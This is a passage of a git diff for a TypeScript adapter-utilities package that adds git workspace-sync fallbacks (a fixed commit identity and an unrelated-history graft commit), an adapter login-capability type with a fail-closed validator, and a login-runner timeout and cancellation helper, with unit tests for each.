 describe("sanitizeGitRemoteUrl", () => {
diff --git a/packages/adapter-utils/src/git-workspace-sync.ts b/packages/adapter-utils/src/git-workspace-sync.ts
index dd0517ec41d..6cae5e47247 100644
--- a/packages/adapter-utils/src/git-workspace-sync.ts
+++ b/packages/adapter-utils/src/git-workspace-sync.ts
@@ -17,8 +17,48 @@ export interface GitWorkspaceSnapshot {
   ignoredPaths: string[];
 }
 
+export interface ExpensiveWorkspaceGitInput {
+  localDir: string;
+  args: readonly string[];
+  operation: string;
+  timeout: number;
+  maxBuffer: number;
+}
+
+export type ExpensiveWorkspaceGitExecutor = (
+  input: ExpensiveWorkspaceGitInput,
+) => Promise<GitCommandResult>;
+
+let expensiveWorkspaceGitExecutor: ExpensiveWorkspaceGitExecutor | null = null;
+
+/**
+ * Lets a host process apply its process-wide admission policy to the adapter
+ * package's full-tree Git walks. Standalone adapter-utils consumers retain the
+ * existing timeout/buffer-bounded fallback.
+ */
+export function setExpensiveWorkspaceGitExecutor(executor: ExpensiveWorkspaceGitExecutor | null): void {
+  expensiveWorkspaceGitExecutor = executor;
+}
+
 export const GIT_ARCHIVE_EXCLUDES = [".git", ".git/*"] as const;
 
+/**
+ * Identity flags for commits the sync machinery itself creates (the merge
+ * commits that reconcile concurrent histories). Execution hosts are often
+ * containers with no git config and no resolvable hostname, so git cannot
+ * auto-detect an identity there and `commit-tree` hard-fails with "Author
+ * identity unknown" — which fails the whole run at finalize. Passing the
+ * identity per invocation keeps every deployment working without host
+ * configuration; `GIT_AUTHOR_*` / `GIT_COMMITTER_*` environment variables
+ * still take precedence over `-c` when an operator sets them.
+ */
+export const GIT_SYNC_COMMIT_IDENTITY_ARGS = [
+  "-c",
+  "user.name=Paperclip",
+  "-c",
+  "user.email=noreply@paperclip.ing",
+] as const;
+
 function shellQuote(value: string) {
   return `'${value.replace(/'/g, `'\"'\"'`)}'`;
 }
@@ -53,6 +93,24 @@ export async function runLocalGit(
   });
 }
 
+async function runExpensiveWorkspaceGit(
+  localDir: string,
+  args: string[],
+  operation: string,
+  options: { timeout: number; maxBuffer: number },
+): Promise<GitCommandResult> {
+  if (expensiveWorkspaceGitExecutor) {
+    return await expensiveWorkspaceGitExecutor({
+      localDir,
+      args,
+      operation,
+      timeout: options.timeout,
+      maxBuffer: options.maxBuffer,
+    });
+  }
+  return await runLocalGit(localDir, args, options);
+}
+
 export async function readGitWorkspaceSnapshot(localDir: string): Promise<GitWorkspaceSnapshot | null> {
   try {
     const insideWorkTree = await runLocalGit(localDir, ["rev-parse", "--is-inside-work-tree"], {
@@ -72,19 +130,19 @@ export async function readGitWorkspaceSnapshot(localDir: string): Promise<GitWor
         timeout: 10_000,
         maxBuffer: 16 * 1024,
       }),
-      runLocalGit(localDir, ["diff", "--name-only", "-z", "--diff-filter=ACMRTUXB", "HEAD", "--"], {
+      runExpensiveWorkspaceGit(localDir, ["diff", "--name-only", "-z", "--diff-filter=ACMRTUXB", "HEAD", "--"], "adapter_sync.overlay_diff", {
         timeout: 10_000,
         maxBuffer: 1024 * 1024,
       }),
-      runLocalGit(localDir, ["ls-files", "--others", "--exclude-standard", "-z"], {
+      runExpensiveWorkspaceGit(localDir, ["ls-files", "--others", "--exclude-standard", "-z"], "adapter_sync.untracked_files", {
         timeout: 10_000,
         maxBuffer: 1024 * 1024,
       }),
-      runLocalGit(localDir, ["diff", "--name-only", "-z", "--diff-filter=D", "HEAD", "--"], {
+      runExpensiveWorkspaceGit(localDir, ["diff", "--name-only", "-z", "--diff-filter=D", "HEAD", "--"], "adapter_sync.deleted_files", {
         timeout: 10_000,
         maxBuffer: 256 * 1024,
       }),
-      runLocalGit(localDir, ["status", "--ignored", "--porcelain=v1", "-z", "--untracked-files=normal"], {
+      runExpensiveWorkspaceGit(localDir, ["status", "--ignored", "--porcelain=v1", "-z", "--untracked-files=normal"], "adapter_sync.ignored_files", {
         timeout: 10_000,
         maxBuffer: 1024 * 1024,
       }),
@@ -375,6 +433,51 @@ export function buildRemoteGitDeltaBundleScript(input: {
   ].filter(Boolean).join("\n");
 }
 
+/**
+ * Preserve imported work whose history does not connect to the local one.
+ *
+ * The dominant real-world cause is a history rewrite inside a transported
+ * workspace: transported clones are depth-1 shallow, so the boundary commit
+ * reads as parentless there and `git commit --amend` rewrites it into a root
+ * commit that shares no ancestor with the host history. A tree merge is
+ * impossible without a common ancestor, and failing the integration would
+ * discard the run's work. Instead, squash-graft the imported tree onto the
+ * current head as a single commit that reuses the imported head's message,
+ * with a trailer recording the graft. Concurrent local-only commits keep
+ * their place in history as the graft's ancestry; the imported tree is taken
+ * wholesale because no base exists to merge against. The caller advances the
+ * branch ref to the returned commit.
+ */
+export async function createUnrelatedHistoryGraftCommit(input: {
+  localDir: string;
+  currentHead: string;
+  importedHead: string;
+  syncLabel: string;
+}): Promise<string> {
+  const importedTree = (await runLocalGit(input.localDir, ["rev-parse", `${input.importedHead}^{tree}`], {
+    timeout: 10_000,
+    maxBuffer: 16 * 1024,
+  })).stdout.trim();
+  const importedMessage = (await runLocalGit(input.localDir, ["log", "-1", "--format=%B", input.importedHead], {
+    timeout: 10_000,
+    maxBuffer: 256 * 1024,
+  })).stdout;
+  const message = [
+    importedMessage.trim(),
+    "",
+    `(${input.syncLabel} graft ${input.importedHead.slice(0, 12)}: imported history shares no ancestor with ${input.currentHead.slice(0, 12)})`,
+  ].join("\n");
+  const graftCommit = await runLocalGit(
+    input.localDir,
+    [...GIT_SYNC_COMMIT_IDENTITY_ARGS, "commit-tree", importedTree, "-p", input.currentHead, "-m", message],
+    {
+      timeout: 60_000,
+      maxBuffer: 64 * 1024,
+    },
+  );
+  return graftCommit.stdout.trim();
+}
+
 export async function integrateImportedGitHead(input: {
   localDir: string;
   importedHead: string;
@@ -392,10 +495,18 @@ export async function integrateImportedGitHead(input: {
     if (!currentHead || currentHead === input.importedHead) return;
 
     const headRef = snapshot.branchName ? `refs/heads/${snapshot.branchName}` : "HEAD";
+    // `git merge-base` exits 1 when the commits share no ancestor — the only
+    // outcome that authorizes the graft fallback below. Every other failure
+    // (timeout, missing object, repository error) must keep failing the
+    // integration instead of silently rewriting the tip.
+    let noCommonAncestor = false;
     const mergeBase = await runLocalGit(input.localDir, ["merge-base", currentHead, input.importedHead], {
       timeout: 10_000,
       maxBuffer: 16 * 1024,
-    }).catch(() => null);
+    }).catch((error: unknown) => {
+      noCommonAncestor = (error as { code?: unknown } | null)?.code === 1;
+      return null;
+    });
     const mergeBaseHead = mergeBase?.stdout.trim() ?? "";
 
     if (mergeBaseHead === input.importedHead) {
@@ -415,6 +526,28 @@ export async function integrateImportedGitHead(input: {
       }
     }
 
+    if (noCommonAncestor) {
+      // No common ancestor — merging is impossible and failing here would
+      // discard the imported work. Graft it onto the current head instead;
+      // see createUnrelatedHistoryGraftCommit.
+      const graftCommit = await createUnrelatedHistoryGraftCommit({
+        localDir: input.localDir,
+        currentHead,
+        importedHead: input.importedHead,
+        syncLabel: "Paperclip remote git sync",
+      });
+      try {
+        await runLocalGit(input.localDir, ["update-ref", headRef, graftCommit, currentHead], {
+          timeout: 10_000,
+          maxBuffer: 16 * 1024,
+        });
+        return;
+      } catch (error) {
+        if (isConcurrentRefUpdateError(error) && attempt < 4) continue;
+        throw error;
+      }
+    }
+
     let mergedTree;
     try {
       mergedTree = await runLocalGit(input.localDir, ["merge-tree", "--write-tree", currentHead, input.importedHead], {
@@ -435,6 +568,7 @@ export async function integrateImportedGitHead(input: {
     const mergeCommit = await runLocalGit(
       input.localDir,
       [
+        ...GIT_SYNC_COMMIT_IDENTITY_ARGS,
         "commit-tree",
         mergedTreeId,
         "-p",
diff --git a/packages/adapter-utils/src/index.ts b/packages/adapter-utils/src/index.ts
index 5df19260aab..aa7bb230299 100644
--- a/packages/adapter-utils/src/index.ts
+++ b/packages/adapter-utils/src/index.ts
@@ -63,6 +63,7 @@ export {
 export {
   REDACTED_COMMAND_TEXT_VALUE,
   redactCommandText,
+  redactDiagnosticText,
 } from "./command-redaction.js";
 export { buildSandboxNpmInstallCommand } from "./sandbox-install-command.js";
 export {
@@ -83,6 +84,32 @@ export type {
   RuntimeStatusUpdate,
 } from "./runtime-progress.js";
 export { inferOpenAiCompatibleBiller } from "./billing.js";
+export {
+  ADAPTER_LOGIN_PANEL_MODES,
+  ADAPTER_LOGIN_SANDBOX_TRANSPORTS,
+  ADAPTER_LOGIN_TIMEOUT_POLICIES,
+  ADAPTER_LOGIN_COMPLETION_CLAIMS,
+  assertValidAdapterLoginCapability,
+  validateAdapterLoginCapability,
+} from "./login-capability.js";
+export type {
+  AdapterLoginPanelMode,
+  AdapterLoginSandboxTransport,
+  AdapterLoginTimeoutPolicy,
+  AdapterLoginCompletionClaim,
+  AdapterLoginPrompt,
+  AdapterLoginCompletionContext,
+  AdapterLoginCapability,
+} from "./login-capability.js";
+export { raceLoginRunnerExit } from "./login-runner-lifecycle.js";
+export type {
+  LoginRunnerOutcome,
+  LoginRunnerResult,
+  LoginRunnerLog,
+  LoginRunnerLifecycleOptions,
+  LoginRunnerDisposable,
+  LoginRunnerRaceResult,
+} from "./login-runner-lifecycle.js";
 // Keep the root adapter-utils entry browser-safe because the UI imports it.
 // The sandbox callback bridge stays available via its dedicated subpath export.
 export type {
diff --git a/packages/adapter-utils/src/login-capability.test.ts b/packages/adapter-utils/src/login-capability.test.ts
new file mode 100644
index 00000000000..a79a4e2dfa1
--- /dev/null
+++ b/packages/adapter-utils/src/login-capability.test.ts
@@ -0,0 +1,109 @@
+import { describe, expect, it } from "vitest";
+import {
+  assertValidAdapterLoginCapability,
+  validateAdapterLoginCapability,
+  type AdapterLoginCapability,
+} from "./login-capability.js";
+
+// A well-formed login capability. Each test starts from a clone of this value
+// and then breaks one field, so each case checks exactly one rule.
+function validCapability(): AdapterLoginCapability {
+  return {
+    panelMode: "displayed_code",
+    sandboxTransport: "streamed_exec",
+    timeoutPolicy: "caller_bounded",
+    getCommand: () => "vendor login",
+    parsePrompt: () => null,
+  };
+}
+
+describe("assertValidAdapterLoginCapability", () => {
+  it("accepts a well-formed capability with only the required fields", () => {
+    expect(() => assertValidAdapterLoginCapability(validCapability(), "vendor")).not.toThrow();
+  });
+
+  it("accepts a well-formed capability with every optional member set", () => {
+    const capability: AdapterLoginCapability = {
+      panelMode: "submitted_browser_code",
+      sandboxTransport: "pseudo_terminal",
+      timeoutPolicy: "fixed",
+      getCommand: () => "vendor setup-token",
+      parsePrompt: () => null,
+      captureCredential: () => null,
+      onComplete: async () => {},
+      completionClaim: "storedSessionId",
+    };
+    expect(() => assertValidAdapterLoginCapability(capability, "vendor")).not.toThrow();
+  });
+
+  it("rejects a non-object capability", () => {
+    expect(() => assertValidAdapterLoginCapability(null, "vendor")).toThrow(/must be an object/);
+    expect(() => assertValidAdapterLoginCapability("displayed_code", "vendor")).toThrow(
+      /must be an object/,
+    );
+  });
+
+  it("rejects an unknown panelMode", () => {
+    const bad = { ...validCapability(), panelMode: "hidden_code" };
+    expect(() => assertValidAdapterLoginCapability(bad, "vendor")).toThrow(/panelMode/);
+  });
+
+  it("rejects an unknown sandboxTransport", () => {
+    const bad = { ...validCapability(), sandboxTransport: "http" };
+    expect(() => assertValidAdapterLoginCapability(bad, "vendor")).toThrow(/sandboxTransport/);
+  });
+
+  it("rejects an unknown timeoutPolicy", () => {
+    const bad = { ...validCapability(), timeoutPolicy: "unbounded" };
+    expect(() => assertValidAdapterLoginCapability(bad, "vendor")).toThrow(/timeoutPolicy/);
+  });
+
+  it("rejects a missing getCommand", () => {
+    const bad = { ...validCapability(), getCommand: "vendor login" };
+    expect(() => assertValidAdapterLoginCapability(bad, "vendor")).toThrow(/getCommand/);
+  });
+
+  it("rejects a missing parsePrompt", () => {
+    const bad = { ...validCapability(), parsePrompt: undefined };
+    expect(() => assertValidAdapterLoginCapability(bad, "vendor")).toThrow(/parsePrompt/);
+  });
+
+  it("rejects a non-function captureCredential", () => {
+    const bad = { ...validCapability(), captureCredential: "token" };
+    expect(() => assertValidAdapterLoginCapability(bad, "vendor")).toThrow(/captureCredential/);
+  });
+
+  it("rejects a non-function onComplete", () => {
+    const bad = { ...validCapability(), onComplete: true };
+    expect(() => assertValidAdapterLoginCapability(bad, "vendor")).toThrow(/onComplete/);
+  });
+
+  it("rejects an unknown completionClaim", () => {
+    const bad = { ...validCapability(), completionClaim: "storedToken" };
+    expect(() => assertValidAdapterLoginCapability(bad, "vendor")).toThrow(/completionClaim/);
+  });
+
+  it("names the adapter in the error text", () => {
+    const bad = { ...validCapability(), panelMode: "hidden_code" };
+    expect(() => assertValidAdapterLoginCapability(bad, "codex_local")).toThrow(/codex_local/);
+  });
+});
+
+describe("validateAdapterLoginCapability", () => {
+  it("accepts a module with no login capability", () => {
+    expect(() => validateAdapterLoginCapability({ type: "vendor_local" })).not.toThrow();
+  });
+
+  it("accepts a module with a well-formed login capability", () => {
+    expect(() =>
+      validateAdapterLoginCapability({ type: "vendor_local", loginCapability: validCapability() }),
+    ).not.toThrow();
+  });
+
+  it("rejects a module with a malformed login capability", () => {
+    const bad = { ...validCapability(), panelMode: "hidden_code" };
+    expect(() =>
+      validateAdapterLoginCapability({ type: "vendor_local", loginCapability: bad }),
+    ).toThrow(/vendor_local/);
+  });
+});
diff --git a/packages/adapter-utils/src/login-capability.ts b/packages/adapter-utils/src/login-capability.ts
new file mode 100644
index 00000000000..986dc8a6b6e
--- /dev/null
+++ b/packages/adapter-utils/src/login-capability.ts
@@ -0,0 +1,169 @@
+// The adapter login capability. An adapter declares this optional capability to
+// describe how the server drives an interactive sandbox login. The module holds
+// the capability types, the fixed value sets, and one runtime validator. The
+// validator fails closed: it rejects a malformed capability shape with a clear
+// error, so the loader never accepts a partial capability.
+//
+// Security (secret handling): the capability data holds no secret. The scalar
+// fields carry only a fixed, non-secret value. The function members are code,
+// not data; a member can return a runtime secret (for example a minted token),
+// but the capability object never stores a secret. API-key-only vendors declare
+// no login capability.
+
+/**
+ * The login panel mode. `displayed_code` shows a one-time code that the user
+ * enters in the browser. `submitted_browser_code` asks the user to paste a code
+ * from the browser back into the login flow.
+ */
+export const ADAPTER_LOGIN_PANEL_MODES = ["displayed_code", "submitted_browser_code"] as const;
+export type AdapterLoginPanelMode = (typeof ADAPTER_LOGIN_PANEL_MODES)[number];
+
+/**
+ * The sandbox transport that the login command needs. `streamed_exec` runs the
+ * command over the streamed exec channel. `pseudo_terminal` runs the command on
+ * a real pseudo-terminal, because a pipe emits no login prompt.
+ */
+export const ADAPTER_LOGIN_SANDBOX_TRANSPORTS = ["streamed_exec", "pseudo_terminal"] as const;
+export type AdapterLoginSandboxTransport = (typeof ADAPTER_LOGIN_SANDBOX_TRANSPORTS)[number];
+
+/**
+ * The host-side timeout policy. `caller_bounded` lets the caller set the
+ * timeout. `fixed` binds the timeout to a fixed adapter value.
+ */
+export const ADAPTER_LOGIN_TIMEOUT_POLICIES = ["caller_bounded", "fixed"] as const;
+export type AdapterLoginTimeoutPolicy = (typeof ADAPTER_LOGIN_TIMEOUT_POLICIES)[number];
+
+/**
+ * The optional completion claim that the login flow records on success.
+ * `storedSessionId` marks that the flow stored a session identifier.
+ */
+export const ADAPTER_LOGIN_COMPLETION_CLAIMS = ["storedSessionId"] as const;
+export type AdapterLoginCompletionClaim = (typeof ADAPTER_LOGIN_COMPLETION_CLAIMS)[number];
+
+/**
+ * The normalized login prompt. `url` is the validated authorization URL. `code`
+ * is the one-time code to show, present only in `displayed_code` mode. A prompt
+ * carries no credential secret.
+ */
+export interface AdapterLoginPrompt {
+  url: string;
+  code?: string;
+}
+
+/**
+ * The completion context. The server passes it to the completion hook. It
+ * carries the non-secret completion state. It carries no credential byte.
+ */
+export interface AdapterLoginCompletionContext {
+  /** The session identifier that the flow stored, when it stored one. */
+  storedSessionId?: string;
+}
+
+/**
+ * The optional adapter login capability. It declares how the server drives an
+ * interactive sandbox login for the adapter. The capability data holds no
+ * secret. An adapter with no interactive login (for example an API-key-only
+ * vendor) declares no capability.
+ */
+export interface AdapterLoginCapability {
+  /** The login panel mode. */
+  panelMode: AdapterLoginPanelMode;
+  /** The sandbox transport that the login command needs. */
+  sandboxTransport: AdapterLoginSandboxTransport;
+  /** The host-side timeout policy. */
+  timeoutPolicy: AdapterLoginTimeoutPolicy;
+  /** Returns the fixed, non-secret login command. */
+  getCommand: () => string;
+  /**
+   * Parses the authorization prompt from the login output. Returns null when the
+   * output holds no prompt yet. The parser keeps every input byte out of its
+   * result and out of every thrown error.
+   */
+  parsePrompt: (output: string) => AdapterLoginPrompt | null;
+  /**
+   * Captures the minted credential from the login output. Returns the raw
+   * credential bytes, or null when the output holds no credential yet. Only a
+   * flow that prints the credential to the terminal sets it. The result is a
+   * runtime secret; the capability data never stores it.
+   */
+  captureCredential?: (output: string) => Buffer | null;
+  /**
+   * Runs after a successful login. It records the non-secret completion state.
+   * It carries no credential byte.
+   */
+  onComplete?: (ctx: AdapterLoginCompletionContext) => Promise<void>;
+  /** The optional completion claim that the flow records on success. */
+  completionClaim?: AdapterLoginCompletionClaim;
+}
+
+function isOneOf<T extends readonly string[]>(values: T, candidate: unknown): candidate is T[number] {
+  return typeof candidate === "string" && (values as readonly string[]).includes(candidate);
+}
+
+/**
+ * Validates one login capability. The function fails closed: it throws a clear
+ * error for a malformed shape. It checks each scalar field against its fixed
+ * value set, checks each required function member, and checks each optional
+ * member only when the member is present. `adapterType` names the adapter in the
+ * error text.
+ */
+export function assertValidAdapterLoginCapability(
+  value: unknown,
+  adapterType: string,
+): asserts value is AdapterLoginCapability {
+  const prefix = `Adapter "${adapterType}" declares an invalid login capability`;
+  if (typeof value !== "object" || value === null) {
+    throw new Error(`${prefix}: the capability must be an object.`);
+  }
+  const cap = value as Record<string, unknown>;
+
+  if (!isOneOf(ADAPTER_LOGIN_PANEL_MODES, cap.panelMode)) {
+    throw new Error(
+      `${prefix}: "panelMode" must be one of ${ADAPTER_LOGIN_PANEL_MODES.join(", ")}.`,
+    );
+  }
+  if (!isOneOf(ADAPTER_LOGIN_SANDBOX_TRANSPORTS, cap.sandboxTransport)) {
+    throw new Error(
+      `${prefix}: "sandboxTransport" must be one of ${ADAPTER_LOGIN_SANDBOX_TRANSPORTS.join(", ")}.`,
+    );
+  }
+  if (!isOneOf(ADAPTER_LOGIN_TIMEOUT_POLICIES, cap.timeoutPolicy)) {
+    throw new Error(
+      `${prefix}: "timeoutPolicy" must be one of ${ADAPTER_LOGIN_TIMEOUT_POLICIES.join(", ")}.`,
+    );
+  }
+  if (typeof cap.getCommand !== "function") {
+    throw new Error(`${prefix}: "getCommand" must be a function.`);
+  }
+  if (typeof cap.parsePrompt !== "function") {
+    throw new Error(`${prefix}: "parsePrompt" must be a function.`);
+  }
+  if (cap.captureCredential !== undefined && typeof cap.captureCredential !== "function") {
+    throw new Error(`${prefix}: "captureCredential" must be a function when present.`);
+  }
+  if (cap.onComplete !== undefined && typeof cap.onComplete !== "function") {
+    throw new Error(`${prefix}: "onComplete" must be a function when present.`);
+  }
+  if (
+    cap.completionClaim !== undefined &&
+    !isOneOf(ADAPTER_LOGIN_COMPLETION_CLAIMS, cap.completionClaim)
+  ) {
+    throw new Error(
+      `${prefix}: "completionClaim" must be one of ${ADAPTER_LOGIN_COMPLETION_CLAIMS.join(", ")} when present.`,
+    );
+  }
+}
+
+/**
+ * Validates the optional login capability of an adapter module. The function is
+ * a no-op when the module declares no login capability. It throws a clear error
+ * when the module declares a malformed capability, so the loader fails closed.
+ */
+export function validateAdapterLoginCapability(mod: {
+  type?: unknown;
+  loginCapability?: unknown;
+}): void {
+  if (mod.loginCapability === undefined) return;
+  const adapterType = typeof mod.type === "string" && mod.type.length > 0 ? mod.type : "unknown";
+  assertValidAdapterLoginCapability(mod.loginCapability, adapterType);
+}
diff --git a/packages/adapter-utils/src/login-runner-lifecycle.test.ts b/packages/adapter-utils/src/login-runner-lifecycle.test.ts
new file mode 100644
index 00000000000..1f87b6dcf41
--- /dev/null
+++ b/packages/adapter-utils/src/login-runner-lifecycle.test.ts
@@ -0,0 +1,151 @@
+import { describe, expect, it, vi } from "vitest";
+import {
+  raceLoginRunnerExit,
+  type LoginRunnerDisposable,
+  type LoginRunnerOutcome,
+  type LoginRunnerRaceResult,
+  type LoginRunnerResult,
+} from "./login-runner-lifecycle.js";
+
+describe("LoginRunnerOutcome", () => {
+  it("names the four terminal outcomes", () => {
+    const outcomes: LoginRunnerOutcome[] = ["success", "failure", "timeout", "cancelled"];
+    expect(new Set(outcomes).size).toBe(4);
+  });
+});
+
+describe("LoginRunnerResult", () => {
+  it("carries the fixed status fields", () => {
+    const result: LoginRunnerResult = { outcome: "success", exitCode: 0, promptSurfaced: true };
+    expect(result).toEqual({ outcome: "success", exitCode: 0, promptSurfaced: true });
+  });
+});
+
+describe("raceLoginRunnerExit", () => {
+  it("resolves with the exit kind when the work resolves first", async () => {
+    const raced = await raceLoginRunnerExit(Promise.resolve({ exitCode: 0 }), 10_000, undefined);
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "exit", exitCode: 0 });
+  });
+
+  it("passes a non-zero exit code through", async () => {
+    const raced = await raceLoginRunnerExit(Promise.resolve({ exitCode: 7 }), 10_000, undefined);
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "exit", exitCode: 7 });
+  });
+
+  it("passes a null exit code through", async () => {
+    const raced = await raceLoginRunnerExit(Promise.resolve({ exitCode: null }), 10_000, undefined);
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "exit", exitCode: null });
+  });
+
+  it("resolves with the timeout kind when the work hangs past the timeout", async () => {
+    const hang = new Promise<{ exitCode: number | null }>(() => {});
+    const raced = await raceLoginRunnerExit(hang, 5, undefined);
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "timeout" });
+  });
+
+  it("resolves with the cancelled kind when the signal aborts", async () => {
+    const hang = new Promise<{ exitCode: number | null }>(() => {});
+    const controller = new AbortController();
+    const racePromise = raceLoginRunnerExit(hang, 10_000, controller.signal);
+    controller.abort();
+    expect(await racePromise).toEqual<LoginRunnerRaceResult>({ kind: "cancelled" });
+  });
+
+  it("resolves with the cancelled kind when the signal is already aborted", async () => {
+    const hang = new Promise<{ exitCode: number | null }>(() => {});
+    const controller = new AbortController();
+    controller.abort();
+    const raced = await raceLoginRunnerExit(hang, 10_000, controller.signal);
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "cancelled" });
+  });
+
+  it("returns cancelled for a pre-aborted signal even when the work can resolve", async () => {
+    const controller = new AbortController();
+    controller.abort();
+    const raced = await raceLoginRunnerExit(
+      Promise.resolve({ exitCode: 0 }),
+      10_000,
+      controller.signal,
+    );
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "cancelled" });
+  });
+
+  it("consumes a late work rejection after a pre-aborted signal cancels the race", async () => {
+    let rejectWork: (error: Error) => void = () => {};
+    const work = new Promise<{ exitCode: number | null }>((_resolve, reject) => {
+      rejectWork = reject;
+    });
+    const controller = new AbortController();
+    controller.abort();
+    const raced = await raceLoginRunnerExit(work, 10_000, controller.signal);
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "cancelled" });
+    // The pre-aborted signal already cancelled the race. The work then rejects.
+    // The helper consumes the late rejection, so it never becomes an unhandled
+    // rejection.
+    expect(() => rejectWork(new Error("late"))).not.toThrow();
+    await Promise.resolve();
+  });
+
+  it("rejects when the work rejects", async () => {
+    const error = new Error("the driver errored");
+    await expect(raceLoginRunnerExit(Promise.reject(error), 10_000, undefined)).rejects.toBe(error);
+  });
+
+  it("does not double-settle when the signal aborts after the exit", async () => {
+    const controller = new AbortController();
+    const raced = await raceLoginRunnerExit(
+      Promise.resolve({ exitCode: 0 }),
+      10_000,
+      controller.signal,
+    );
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "exit", exitCode: 0 });
+    // The race already settled. A late abort must not throw or change the result.
+    expect(() => controller.abort()).not.toThrow();
+  });
+
+  it("removes the abort listener after it settles on the exit", async () => {
+    const controller = new AbortController();
+    const removeSpy = vi.spyOn(controller.signal, "removeEventListener");
+    await raceLoginRunnerExit(Promise.resolve({ exitCode: 0 }), 10_000, controller.signal);
+    expect(removeSpy).toHaveBeenCalledWith("abort", expect.any(Function));
+  });
+
+  it("consumes a late work rejection after the timeout settles the race", async () => {
+    let rejectWork: (error: Error) => void = () => {};
+    const work = new Promise<{ exitCode: number | null }>((_resolve, reject) => {
+      rejectWork = reject;
+    });
+    const raced = await raceLoginRunnerExit(work, 5, undefined);
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "timeout" });
+    // The race already settled on the timeout. The work then rejects. The helper
+    // consumes the late rejection, so it never becomes an unhandled rejection.
+    expect(() => rejectWork(new Error("late"))).not.toThrow();
+    await Promise.resolve();
+  });
+});
+
+describe("login-runner lifecycle ordering", () => {
+  it("disposes a driver one time", async () => {
+    const dispose = vi.fn(async () => {});
+    const driver: LoginRunnerDisposable = { dispose };
+    await driver.dispose();
+    expect(dispose).toHaveBeenCalledTimes(1);
+  });
+
+  it("races to a terminal state, then disposes the driver", async () => {
+    const events: string[] = [];
+    const driver: LoginRunnerDisposable = {
+      dispose: vi.fn(async () => {
+        events.push("dispose");
+      }),
+    };
+    const work = Promise.resolve({ exitCode: 0 }).then((value) => {
+      events.push("exit");
+      return value;
+    });
+    const raced = await raceLoginRunnerExit(work, 10_000, undefined);
+    await driver.dispose();
+    expect(raced).toEqual<LoginRunnerRaceResult>({ kind: "exit", exitCode: 0 });
+    expect(events).toEqual(["exit", "dispose"]);
+  });
+});
diff --git a/packages/adapter-utils/src/login-runner-lifecycle.ts b/packages/adapter-utils/src/login-runner-lifecycle.ts
new file mode 100644
index 00000000000..7dbd36d0799
--- /dev/null
+++ b/packages/adapter-utils/src/login-runner-lifecycle.ts
@@ -0,0 +1,116 @@
+// The shared login-runner lifecycle contract. Both login runners use these
+// types: the Codex device-login runner and the Claude setup-token runner. The
+// module defines the runner outcome union, the result base type, the fixed-log
+// callback type, the timeout and cancellation options, the dispose contract, and
+// the timeout race helper. The module holds types and one pure helper only. It
+// does not change runner behavior.
+//
+// Security (secret handling): the outcome and the result carry only a fixed,
+// non-secret status. They never carry a URL, a code, or a token byte. The log
+// callback receives only fixed status lines. Each runner keeps this rule.
+
+/**
+ * The terminal outcome of a login runner. A runner reports exactly one value.
+ * The value is a fixed, non-secret status.
+ */
+export type LoginRunnerOutcome = "success" | "failure" | "timeout" | "cancelled";
+
+/**
+ * The base result of a login runner. Every runner returns at least these three
+ * fields. A runner can extend the base with its own non-secret status fields. The
+ * result never carries a URL, a code, or a token byte.
+ */
+export interface LoginRunnerResult {
+  outcome: LoginRunnerOutcome;
+  exitCode: number | null;
+  promptSurfaced: boolean;
+}
+
+/**
+ * A non-leaking progress sink. It receives only fixed status lines. A runner
+ * never passes a URL, a code, or a token byte to this sink.
+ */
+export type LoginRunnerLog = (line: string) => void;
+
+/**
+ * The shared lifecycle options. Both runners set the host-side timeout, accept an
+ * optional cancellation signal, and accept an optional log sink. Each runner
+ * option type extends this base with its own callbacks.
+ */
+export interface LoginRunnerLifecycleOptions {
+  /** The host-side timeout in milliseconds. */
+  timeoutMs: number;
+  /** An optional cancellation signal. */
+  signal?: AbortSignal;
+  /** A non-leaking progress sink. It receives only fixed status lines. */
+  log?: LoginRunnerLog;
+}
+
+/**
+ * The dispose contract. A login driver releases its resources through `dispose`.
+ * The runner always disposes the driver one time for every terminal state. The
+ * method must be safe to call one time on every path.
+ */
+export interface LoginRunnerDisposable {
+  /** Releases the driver resources. */
+  dispose(): Promise<void>;
+}
+
+/**
+ * The result of the timeout race. The `exit` kind carries the command exit code.
+ * The `timeout` kind and the `cancelled` kind each mark a terminal state with no
+ * exit code.
+ */
+export type LoginRunnerRaceResult =
+  | { kind: "exit"; exitCode: number | null }
+  | { kind: "timeout" }
+  | { kind: "cancelled" };
+
+/**
+ * Races the streaming `work` against the timeout and the cancellation signal. The
+ * work result resolves the race with an `exit` status; the timeout resolves it
+ * with a `timeout` status; the signal resolves it with a `cancelled` status. A
+ * pre-aborted signal resolves the race with a `cancelled` status at once, before
+ * the helper starts the timer or listens to the work. A work error rejects the
+ * race, so the caller can convert it to a fixed, non-secret error. A late work
+ * rejection after the race already settled is consumed here, so it never becomes
+ * an unhandled rejection. The helper clears the timer and removes the signal
+ * listener on the first settle.
+ */
+export function raceLoginRunnerExit(
+  work: Promise<{ exitCode: number | null }>,
+  timeoutMs: number,
+  signal: AbortSignal | undefined,
+): Promise<LoginRunnerRaceResult> {
+  return new Promise<LoginRunnerRaceResult>((resolve, reject) => {
+    // The signal is already aborted. Resolve with the cancelled status now. The
+    // "abort" event does not fire again for an already-aborted signal, so a late
+    // listener never runs. The helper still consumes a late work rejection below.
+    if (signal?.aborted) {
+      work.then(
+        () => {},
+        () => {},
+      );
+      resolve({ kind: "cancelled" });
+      return;
+    }
+    let settled = false;
+    const cleanup = () => {
+      clearTimeout(timer);
+      if (signal) signal.removeEventListener("abort", onAbort);
+    };
+    const finish = (run: () => void) => {
+      if (settled) return;
+      settled = true;
+      cleanup();
+      run();
+    };
+    const timer = setTimeout(() => finish(() => resolve({ kind: "timeout" })), timeoutMs);
+    const onAbort = () => finish(() => resolve({ kind: "cancelled" }));
+    if (signal) signal.addEventListener("abort", onAbort, { once: true });
+    work.then(
+      (value) => finish(() => resolve({ kind: "exit", exitCode: value.exitCode })),
+      (error) => finish(() => reject(error)),
+    );
+  });
+}
diff --git a/packages/adapter-utils/src/runtime-progress.test.ts b/packages/adapter-utils/src/runtime-progress.test.ts
index 24048404e73..ef3f4b8c941 100644
--- a/packages/adapter-utils/src/runtime-progress.test.ts
